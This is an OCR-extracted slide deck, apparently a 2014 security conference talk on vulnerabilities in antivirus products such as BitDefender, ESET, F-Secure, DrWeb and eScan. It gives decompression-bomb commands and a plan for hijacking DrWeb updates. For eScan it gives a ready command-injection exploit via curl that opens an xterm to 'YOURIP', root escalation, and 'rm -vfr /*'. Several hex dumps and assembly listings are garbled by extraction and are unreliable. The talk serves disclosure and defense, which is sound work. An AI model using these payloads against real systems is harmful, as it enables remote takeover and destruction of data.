Name ActionCenter.dll.mui KernelBase.dll.mui BkavFirewallEngine.dll	Description Bkav Firewall Engine	E	Company Name 3kav Corporation	Path \Devic \Devic C:\Pro	ce\BkavAutoShadow2\Windows\Syst ce\BkavAutoShadow2\Windows\Syst gram Files\BkavPro\System\Firewall\	em32\en-US\ActionCenter.dll.r em32\en-US\KernelBase.dll.m 3kavFirewallEngine.dll	mui ui	ASLR A n/a n/a

...miserably failing at securing your computer.

AV developers writing security software



Remote Denial of Service



Examples: ClamAV DOS

- There is a bug in ClamAV scanning some resource directory in PE files.
 - I have been asked to wait until there is a public patch.
 - It's fixed in their private repository but the patch is big so it needs some proper testing.
 - Sorry, I cannot give all the details yet :(
- Found via dumb ass fuzzing.
- Reported. Because it's Open Source...
- https://bugzilla.clamav.net/show_bug.cgi?id=10650
- The vulnerability was nicely handled by the ClamAV team (now Cisco).



Decompression bombs (multiple AVs)

- Do you remember them? If I remember correctly, the 1st discussion in Bugtraq about it was in 2001.
 - A compressed file with many compressed files inside or with really big files inside.
 - It can be considered a remote denial of service.
- Do you think AV engines are not vulnerable any more to such bugs with more than +10 years?
 - In this case, you're wrong.
 - Look to the following table....

Failing AVs

	ZIP	GZ	BZ2	RAR	7Z
ESET		X (***)		X (***)	
BitDefender				Х	
Sophos	X (*)	Х		Х	Х
Comodo			Х		
AVG					Х
Ikarus					Х
Kaspersky					X (**)

* Sophos finishes after ~30 seconds. In a "testing" machine with 16 logical CPUs and 32 GB of RAM.

** Kaspersky creates a temporary file. A 32GB dumb file is a ~3MB 7z compressed one. *** In my latest testing, ESET finishes after 1 minute with each file in my "small testing Machine". Probably not the same time in your machines...

Decompression bombs: How to

 To create a simple decompression bomb in Unix issue the following commands:

\$ truncate -s 8589934592 dumb # 8GB

\$ 7z/gzip/bzip2/rar/lcab/compress/xxx dumb

- That's all. The result file is always less than 10 MB.
- There are more variants (i.e., PDF streams).
- I couldn't believe that still nowadays antivirus engines failed at this trivial "attack" when I "discovered" this...



BitDefender engine

- BitDefender is a Romanian antivirus engine.
- Their AV core is the most widely distributed AV engine in other AV products.
 - To name a few: F-Secure, G-Data, QiHoo 360, eScan, LavaSoft, Immunet, ...
- It suffers from a number of vulnerabilities like almost all other AV engines/products out there.
- Finding vulnerabilities in this engine is trivial.
 - An easy example...
BitDefender bugs

Modifying 2 DWORDs in a PE file packed with Shrinker3 packer will make it to crash:

00006E00	53	48 52	2 33	01 (0 0	0 00	00	30 0	3 00	00	F2 0	0 00	SHR30?		00006E0	0 53	48 5	52 33	01	00 00	0 00	00	30 0	3 00	00	F2 0	00 00	SHR30?
00006E10	00	80 00	00 (B8 ()B 0	0 00	09	00 0	08 00	00	00 0	1 81	.????		00006E1	0 00	80 (00 00	B8	0B 0(00 0	09	00 0	0 80	00 (00 0)1 81	.????
00006E20	32	1C 67	7 51	7E 1	ID 6	3 51	9A	55 4	19 6D	9A	55 4	9 6D	2.gQ~.cQ?UIm?UIm		00006E2	0 32	1C (67 51	7E	1D 63	3 51	9A	55 4	9 6D	9A 5	55 4	19 6D	2.gQ~.cQ?UIm?UIm
00006E30	9A	55 49	9 6D	7A 5	554	6 6C	00	00 0	00 00	0B	01 0	6 00	?UImzUF1		00006E3	0 9A	55 4	49 6D	7A -	55 40	5 6C	00	00 0	0 00	0B (01 0	06 00	?UImzUF1
00006E40	0B	C1 06	5 00	0B 2	21 0	4 0 <mark>0</mark>	0R	21 0	14 00	69	RR 0	4 00	.?!!??		00006E4	0 OB	C1 (06 00	0B (21 04	4 00	0R	21 0	4 00	C9	RR (14 00	.?!!??
00006E50	C9	AB 04	4 00	C9 7	7B 0	4 0	FF	FF F	FFF	FF	FF F	FFF	???{ <mark>???????</mark>		00006E5	0 C9	AB (04 00	C9 .	7B 04	4 0	C9	7B 4	4 00	C9 (6B 4	14 00	???{ <mark>?{D.?kD.</mark>
00006E60	C9	7B 44	4 00	CD 7	7B 4	4 O U	CD	/B 4	4 00	69	7B 4	4 00	?{D.?{D.?{D.?{D.?	Ē	00006E6	0 C9	7B 4	44 00	CD .	7B 44	4 O U	CD	/B 4	4 00	C9	7B 4	4 00	?{D.?{D.?{D.?{D.?
00006E70	C9	7B 44	4 00	C9 (CB 4	7 00	C9	DB 4	7 00	C9	DB 4	7 00	?{D.??G.??G.??G.		00006E7	0 C9	7B 4	44 00	C9 (CB 4	7 00	C9	DB 4	7 00	C9 I	DB 4	17 00	?{D.??G.??G.??G.
00006E80	CB	DB 47	7 00	CB [)B 5	7 00	CB	CB 5	57 00	CB	CB 4	7 00	??G.??W.??W.??G.		00006E8	0 CB	DB 4	47 00	CB I	DB 5	7 00	CB	CB 5	7 00	CB (CB 4	17 00	??G.??W.??W.??G.
00006E90	CB	DB 47	7 00	CB [)B 4	7 00	DB	DB 4	7 00	DB	DB 4	7 00	??G.??G.??G.??G.		00006E9	0 CB	DB 4	47 00	CB I	DB 4	7 00	DB	DB 4	7 00	DB I	DB 4	17 00	??G.??G.??G.??G.
00006EA0	DB	DB 47	7 00	AB ()C 4	7 00	1F	0C 4	7 00	1F	9C 4	6 00	??G.?.GG?F.		00006EA	0 DB	DB 4	47 00	AB	OC 41	7 00	1F	0C 4	7 00	1F 9	9C 4	6 00	??G.?.GG?F.

- Those bytes are used to calculate the file and sections alignment of the new, in memory, unpacked PE file.
- When set to 0xFFFFFFF and 0xFFFFFFF, both file and sections alignment will be set to 0...

BitDefender bugs

...and their values will be used, later on, in some arithmetic operations:

ero:F68749BE	mov	eax, [ecx+IMAGE_NT_HEADERS.OptionalHeader.FileAlignment] ; calculated FileAlignment of the new PE file (will be 0)
ero:F68749C1	add	esi, 28h
ero:F68749C4	push	ebx
ero:F68749C5	mov	ebx, [ecx+IMAGE_NT_HEADERS.OptionalHeader.SectionAlignment] ; calculated SectionAlignment of the new PE file (will be 0)
ero:F68749C8	mov	[ebp+file alignment], eax
ero:F68749CB	cmp	eax, 200h
ero:F68749D0	jbe	short loc F68749DA
ero:F68749D2	mov	eax, 200h
ero:F68749D7	mov	[ebp+file alignment], eax
ero:F68749DA		
ero:F68749DA loc F68749DA:		; CODE XREF: sub F68748D0+100 j
ero:F68749DA	lea	edx, [ebx-1]
ero:F68749DD	test	ebx, edx
ero:F68749DF	jz	short loc F68749E3
ero:F68749E1	mov	ebx, eax
ero:F68749E3		
ero:F68749E3 loc_F68749E3:		; CODE XREF: sub_F68748D0+10Fij
ero:F68749E3	xor	edx, edx
ero:F68749E5	mov	eax, esi
ero:F68749E7	div	ebx ; Divide by zero with SectionAlignment
ero:F68749E9	test	edx, edx
ero:F68749EB	jz	short loc_F68749F1
ero:F68749ED	sub	ebx, edx
ero:F68749EF	add	esi, ebx
ero:F68749F1		
ero:F68749F1 loc_F68749F1:		; CODE XREF: sub_F68748D0+11Bîj
ero:F68749F1	mov	ebx, [ebp+file_alignment]
ero:F68749F4	xor	edx, edx
ero:F68749F6	mov	eax, esi
ero:F68749F8	div	ebx ; Divide by zero, with FileAlignment
	mon	fabriurr Al ari

Those 2 bugs are trivial to discover.

BitDefender notes

- This and all BitDefender's bugs don't affect exclusively BitDefender's products.
- It affects many AV products out there as previously mentioned.
- Adding a new AV engine to your product may sound "cool" but you're making 3rd party bugs yours.
- And, by the way, you didn't audit it before adding to your product...
 - Otherwise, I doubt you would have added it.



ESET Nod32

- ESET Nod32 is a Slovak AV engine.
- Like most AV engines it suffers from a number of vulnerabilities that can be trivially discovered.
- One little example: a malformed PDF file.
 - A negative or big value for any element of a /W(idth) element with arrays will make it to crash.
 - A simple remote denial of service.

ESET Nod32 bug with PDF files

		, and the second se	, . /	revised_e	effective	e_dates	s-2010.pdf		主 🗣 📂	•								revise	ed_ef	fectiv	/e_da	tes-2(010.p	df-sample ᅌ 🖜 💕 🔻
23/03/14	17:45:20	222.07	75 bytes								23/03/	14 10	5:32:	18 2	222.1	113 k	oytes							
000361C0	2F 49 6E	66 6F 2	0 33 35	37 20 3	30 20 5	2 2F 4	4C 65 /	Info 3	357 0 R/Le		0003610	0 2F	49 (5E 66	5 6F	20 3	3 35	37 2	0 30	20	52 2F	= 4C	65	/Info 357 0 R/Le
000361D0	6E 67 74	68 20 3	3 32 33	2F 52 6	5F 6F 7	4 20 3	33.30 n	gth 32	23/Root 30		0003610	0 6E	67 7	74 68	3 20	33 3	2 33	2F 5	2 6F	6F	74 20	33	30	ngth 323/Root 30
000361E0	39 20 30	20 52 2	F 53 69	7A 65 2	20 33 3	6 36 2	2F 54 9	0 R/S	Size 366/T		0003618	0 39	20 3	30 20) 52	2F 5	3 69	7A 6	5 20	33	36 36	5 2F	54	9 0 R/Size 366/T
000361F0	79 70 65	2F 58 5	2 65 66	2F 57 5	ів		у	pe/XRe	ef/W[0003618	0 79	70 6	55 2F	58	52 6	5 66	2F 5	7 5B	33	34 30	32	38	ype/XRef/W[<mark>34028</mark>
							-	-			0003620	0 32	33 3	36 36	5 39	32 3	0 39	33 3	8 34	36	33 34	4 36	33	2366920938463463
000361FB				31					1		000362	0 33	37 3	34 36	5 30	37 3	4 33	31 3	7 36	38	32 31	31	34	3746074317682114
000361FC	20	33 20 3	1 5D 3E	3E 73 7	74 72 6	5 61 6	5D 0D	3 1]>>stream.		0003622	20 35	35	20 33	3 20	31 5	D 3E	3E 7	3 74	72	65 61	6D	0D	55 3 1]>>stream.

- According to ESET sources they use fuzzing as part of QA.
 - I think they are not doing it very well...
- Finding this bug is trivial, like all the ones I previously shown.



F-Secure

- F-Secure is an antivirus from Finnland.
- They use 2 AV engines: their own one and the BitDefender's one.
 - So, the previous bug, the BitDefender's one, also affects this AV product.
- Like with the whole majority of AV engines out there, there are rather easy to discover bugs in their (own) engine.
- Let's see a simple vulnerability they fixed in February.

F-Secure bug with InnoSetup

- There was a little bug handling some InnoSetup installers. Bug is at InnoDecoder::IsInnoNew().
- A size for a call to FMalloc can be controlled:

💷 🛋 😐			l
sub push	esp, OCh [ebp+n]	; "n" comes from the file's content,	
call add test	Z7FMAllocj esp, 10h eax. eax	; it's controllable ; FMalloc(controlled)	
mov	[ebpts], eax		L
iz	short loc F72E	257B1	L
		· · · · · · · · · · · · · · · · · · ·	
		push ecx	
		push [ebp+n]	;
		push 0	;
		pasn	
		push eax	;
		push eax call _memset	;
		push eax call _memset add esp, 10h	;

F-Secure bug with InnoSetup

- A negative size will make malloc to fail but it will anyway memset the buffer...
 - Basically, memset(NULL, '\0', negative_size).
 - Another bug trivial to discover by any means.

.text:F727F7B0			
.text:F727F7B0 loc_F727F7B0:			; CODE XREF: FMAlloc(uint)+23†j
.text:F727F7B0	sub	esp, OCh	
.text:F727F7B3	push	edi	; edi will be the size we control from
.text:F727F7B3			; the InnoSetup compressed file
.text:F727F7B4	call	_malloc	; why bother checking for errors!
.text:F727F7B9	add	esp, OCh	
.text:F727F7BC	push	edi	; n
.text:F727F7BD	push	0	; c
.text:F727F7BF	push	eax	; S
.text:F727F7C0	mov	esi, eax	
.text:F727F7C2	call	_memset	
.text:F727F7C7	lea	esp, [ebp-0Ch]	
.text:F727F7CA	pop	ebx	
.text:F727F7CB	mov	eax, esi	
.text:F727F7CD	pop	esi	
.text:F727F7CE	pop	edi	
.text:F727F7CF	leave		
.text:F727F7D0	retn		

Proof of concepts

- Proof of concepts for the last discussed bugs can be downloaded from here:
 - http://www.joxeankoret.com/download/3ea0506f0e 583c0c113bb72ae9ce19c383dd4957/syscan-2014-avpocs.tar.gz
- Shortened URL:
 - http://x90.es/7Lm

Remote Code Execution



DrWeb antivirus

- DrWeb is a Russian antivirus. Used, for example, by the largest bank (Sberbank) and the largest search engine in Russia (Yandex) + the Duma, to name a few customers.
- More of their propaganda:

😽 Licenses and Certificates

Dr.Web is the only anti-virus certified by the Ministry of Defence of the Russian Federation, the highest grade of certificate from the Government.

 License of the Ministry of Defence of the Russian Federation, for activities related to information security tools development

Dr.Web are certified by FSB (Federal Security Service) and FSTEC (Federal Service for Technology and Export Control), which allow their use in organizations with high standards of security.

- License of the FSB Russia, for activies involving access to state secret information within Moscow and Moscow region
- License of the Centre for licensing, certification and state secret information protection of FSB Russia, for development and/or publishing of tools for protection of classified information
- License of the FSTEC for development of information security tools
- License of the FSTEC for development and/or publishing of tools for protection of classified information

DrWeb updating protocol

- DrWeb updates via HTTP only. They do not use SSL/TLS.
- It downloads a catalog file first:
 - Example for Linux:

http://<server>/unix/700/drweb32.lst.lzma

- In the catalog file there is a number of updatable files + a hash for them:
 - VDB files (Virus DataBases).
 - DrWeb32.dll.
- The hash is, actually, CRC32 and no component is signed, even the DrWeb32.dll library.

DrWeb updating protocol

- The "highest grade of certificate" requires the highest grade of check for their database files and libraries: CRC32. "High standards".
- To exploit in a LAN intercept the following domains:
 - update.nsk1.drweb.com
 - update.drweb.com
 - update.msk.drweb.com
 - update.us.drweb.com
 - update.msk5.drweb.com
 - update.msk6.drweb.com
 - update.fr1.drweb.com
 - update.us1.drweb.com
 - update.nsk1.drweb.com
- ...and replace drweb32.dll with your "modified" (Izma'ed) version.

DrWeb updating protocol

- Exploiting it is rather easy with ettercap and a quick Python web server + Unix Izma tool.
 - You only need to calculate the CRC32 checksum and compress (Izma) the drweb32.dll file.
- I tested the bug under Linux: full code execution is possible.
 - Though you need to be in a LAN to be able to do so, obviously.
- In my opinion, this updating protocol is horrible.





eScan for Linux

- eScan is an AV product from USA (MicroWorld Technologies).
- I was bored some random night in Singapore and found that the eScan product have a Linux version.
- I downloaded and installed it (~1 hour because of the awful hotel's connection).
- Then I started checking what it installs, finding for SUID binaries, etc...
 - They use BitDefender and ClamAV engines, they don't have their own engine so, no need to test the scanners.

I already had vulnerabilities for such engines...

- They install a Web server for management, a set of PHP files and a SUID binary called:
 - /opt/MicroWorld/sbin/runasroot

eScan for Linux

- The SUID binary allows to execute root commands to the following users:
 - root
 - mwconf (created during installation).
- The eScan management application (called MwAdmin) is so flawed I decided to stop at the first RCE...
 - A command injection in the login form (PHP).
 - In a "security" product.
 - Yes.

eScan for Linux login page



Username (Email-id):	
Password:	
Product name:	Select product V
Language:	English v
For	got Password
Login	Restablecer

eScan for Linux remote root

- This specific bug requires to know/guess an existing user. Not so hard.
- The user name and the password are used to construct an operating system command executed via the PHP's function "exec".
 - I was not able to inject in the user name.
 - But I was able to inject in the password.

Source code of login.php (I)

```
....if(isvalid_emailid_single1($username) != 0 .)
    header("Location: index.php?err msg=user");
  exit();
....elseif( strlen($passwd) < 5)</pre>
. . . . . . . . . . 🦅
   header("Location: index.php?err_msg=password len");
exit():
....else
. . . . . . . . . 🧲
     ist($k,$v)=explode("-",$retval);
 \cdots if($v \cdot != \cdot 0 \cdot)
  . . . . . . . . . . . . . . . .
  header("Location: index.php?err msg=usernotexists");
  exit():
elseif( strlen($passwd)<5 )</pre>
 header("Location: index.php?err msg=password len");
                 exit();
   . . . . . . . . . . . . . . .
www.www.www.elseif("preg_match("/[|&)(!><\'\"`"]/", $passwd)")</pre>
www.www.www.header("Location: index.php?err_msg=password_chars");
                  exit();
```

Source code of login.php (II)

The password sent by the user is passed to check_user:

· · · · · · · · · · · · · · · · · · ·	
<pre>elseif('preg_match("/[&)(!><\'\"`']/", \$passwd)')</pre>	
· · · · · · · · · · · · · · · · · · ·	
<pre>www.www.www.www.header("Location: index.php?err_msg=password_cha</pre>	rs");
<pre>exit();</pre>	
• • • • • • • • • • • • • • • • • • • •	
·····else	
•••••••••••••••••••••••••••••••••••••••	
<pre>weakersessessessessessessessessessessessesse</pre>	<pre>le,"USERS");</pre>
<pre>list(\$k,\$v)=explode("-",\$retval);</pre>	
••••••••••••••••••••••••••••••••••••••	

- There are some very basic checks against the password.
 - Specially for shell escape characters.
 - But they forgot various other characters like ';'.

Source code of common_functions.php

 Then, the given password is used in the function check_user like this:

eScan for Linux RCE

- My super-ultra-very-txupi-complex exploit for it:
- \$ xhost +
- \$ curl -data \

"product=1&uname=valid@user.com&pass=1234567;
DISPLAY=YOURIP:0;xterm;" \

http://target:10080/login.php

Once you're in, run this to escalate privileges:

\$ /opt/MicroWorld/sbin/runasroot
/usr/bin/xterm

Or anything else you want...

\$ /opt/MicroWorld/sbin/runasroot rm -vfr /*

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

Conclusions

- In general, AV software...
 - ...doesn't make you any safer against skilled attackers.
 - ...increase your attack surface.
 - ...make you more vulnerable to skilled attackers.
 - ...are as vulnerable to attacks as any other application.
- Some AV software...
 - ...may lower your operating system protections.
 - ...are plagued of both local and remote vulnerabilities.
- Some AV companies...
 - ...don't give a fuck about security in their products.

Breaking antivirus software

- Introduction
- Attacking antivirus engines
- Finding vulnerabilities
 - Initial experiments
- Exploiting antivirus engines
- Antivirus vulnerabilities
- Conclusions
- Recommendations

Recommendations for AV users

- Do not blindly trust your AV product.
 - BTW, do not trust your AV product.
 - Also, do not trust your AV product.
 - Nope. I cannot stress it enough.
- Isolate the machines with AV engines used for gateways, network inspection, etc...
- Audit your AV engine or ask a 3rd party to audit the AV engine you want to deploy in your organization.

- Audit your products: source code reviews & fuzzing.
 - No, AV comparatives and the like are not even remotely close to this.
 - Running a Bug Bounty, like Avast, is a very good idea too.
- Do not use the highest privileges possible for scanning network packets, files, etc...
 - You don't need to be root/system to scan a network packet or a file.
 - You only need root/system to get the contents of that packet or file.
 - Send the network packet or file contents to another, low privileged or sandboxed, process.

- Run dangerous code under an emulator, vm or, at the very least, in a sandbox. I only know 2 AVs using this approach.
 - Dangerous code: file parsers written in C/C++ code.
 - If one finds a vulnerability and it's running inside an emulator/sandbox one needs also an escape vulnerability to completely own the AV engine.
 - Why is it harder to exploit browsers or document readers than security products?
 - Another option could be to use a "safer" language. Some AV products, actually, are doing this: Using Lua, for example.
- Do not trust your own processes. They can be owned.
 - I'm not talking about signing the files.
 - I'm talking about your AV's running processes.

- Do not use plain HTTP for updating your product.
 - Use SSL/TLS.
- Also, digitally sign all files.
 - No, CRC is not a signature. Really.
 - ...and verify there is nothing else after the signature.

- Drop old code that is of no use today or make this code not available by default.
 - Code for MS-DOS era viruses, packers, protectors, etc...
 - Parsers for file format vulnerabilities in completely unsupported products nowadays.
- Such old code not touched in years is likely to have vulnerabilities.
- This is up to you: what do you prefer? Fail at stupid AV comparatives (AV-Test, anyone?) not detecting viruses from the Jurassic or have a more secure product?

Questions?

